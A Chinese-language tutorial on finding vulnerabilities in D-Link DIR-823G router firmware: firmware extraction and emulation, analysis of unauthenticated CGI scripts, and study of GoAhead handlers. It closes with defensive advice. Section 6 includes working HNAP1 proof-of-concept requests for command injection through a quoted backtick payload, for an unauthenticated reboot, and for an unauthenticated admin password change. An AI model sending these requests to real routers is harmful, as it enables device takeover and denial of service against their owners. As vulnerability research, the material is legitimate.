Dlink DIR-823G 漏洞挖掘过程
字数 1614 2025-08-22 12:22:24
D-Link DIR-823G 漏洞挖掘与分析教程
1. 固件初步分析
1.1 获取固件
- 固件下载地址: DIR823GA1_FW102B03.bin
1.2 解压固件
使用 binwalk 工具解压固件:
binwalk -Me DIR823GA1_FW102B03.bin
发现这是一个 squashfs 文件系统,具有标准的 Linux 目录结构。
1.3 分析启动脚本
查看 /etc/init.d/rcS 文件,发现最后会启动 goahead 进程:
goahead是一个开源的嵌入式 Web 服务器- 用户可以通过 GoAhead API 定义 URL 处理函数和 ASP 文件中可调用的函数
2. 模拟运行固件
2.1 使用分析工具
推荐使用 firmware-analysis-toolkit 自动化工具:
- 整合了多个开源工具
- 提供自动化固件模拟运行环境
2.2 端口扫描
使用 nmap 扫描模拟环境开放的端口:
nmap -sV <路由器IP>
发现开放了 HTTP 服务和 DNS 服务。
3. 攻击面分析
3.1 主要关注点
- 后门账户/默认密码
- 敏感功能未授权访问
- Web 服务请求处理逻辑
3.2 Web 目录结构
Web 根目录为 web_mtn,结构如下:
web_mtn/
├── cgi-bin/ # CGI程序目录
├── ... # 其他Web资源
4. 未授权访问的CGI程序
cgi-bin 目录下存在多个未授权访问的 CGI 程序:
4.1 信息泄露漏洞
/cgi-bin/ExportSettings.sh:导出配置文件/cgi-bin/GetDownLoadSyslog.sh:获取系统启动信息(/var/log/messages*)
4.2 配置篡改漏洞
/cgi-bin/upload_settings.cgi:导入配置文件
4.3 固件更新漏洞
/cgi-bin/upload_firmware.cgi:上传更新固件
5. GoAhead 自定义请求处理函数分析
5.1 URL 处理函数注册
GoAhead 支持自定义 URL 处理函数:
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
/goform请求由websFormHandler处理/cgi-bin请求由websCgiHandler处理
5.2 处理函数参数
int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir,
int arg, char_t *url, char_t *path, char_t* query)
wp:复杂结构体指针,包含请求信息(cookie、请求数据等)
5.3 IDA 分析技巧
- 固件通常被去掉符号表
- 从字符串入手,搜索
/cgi-bin或/goform找到处理函数 - 交叉引用定位注册函数的位置(示例中为
0x42424C)
6. HNAP1 接口漏洞分析
6.1 命令注入漏洞
- 处理函数位于
0x42383C - 使用
snprintf生成命令后通过system执行 - 可通过注入单引号
'实现命令执行
PoC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
[...]
SOAPAction: "http://purenetworks.com/HNAP1/Login"
'`echo hacked_by_hac425! > /web_mtn/hack.txt`'
6.2 未授权重启漏洞
Reboot接口无权限校验- 可导致拒绝服务攻击
PoC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
[...]
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RunReboot xmlns="http://purenetworks.com/HNAP1/" />
</soap:Body>
</soap:Envelope>
6.3 未授权密码修改漏洞
SetPasswdSettings接口无权限校验- 可任意修改管理员密码
PoC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
[...]
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/">
<NewPassword>hackedbyhac425</NewPassword>
<ChangePassword>true</ChangePassword>
</SetPasswdSettings>
</soap:Body>
</soap:Envelope>
7. 漏洞挖掘方法论总结
- 固件获取与分析:下载固件并使用 binwalk 解压
- 启动流程分析:检查 init.d 脚本了解服务启动顺序
- 模拟运行:使用 FAT 等工具模拟运行环境
- 端口与服务扫描:确定暴露的攻击面
- Web 应用分析:
- 检查 CGI 程序权限
- 分析 Web 服务器自定义处理函数
- 寻找命令注入、未授权访问等漏洞
- API 接口测试:
- 检查 HNAP1 等 SOAP 接口
- 测试权限校验缺失
- 寻找命令注入点
8. 防御建议
- 输入验证:对所有用户输入进行严格过滤
- 权限控制:对敏感操作实施严格的权限校验
- 安全日志:记录所有敏感操作
- 固件更新:及时更新到最新版本
- 最小化服务:关闭不必要的服务端口
通过本教程,您应该掌握了 D-Link DIR-823G 路由器的漏洞挖掘方法和相关漏洞细节。这些技术也可应用于其他嵌入式设备的漏洞分析。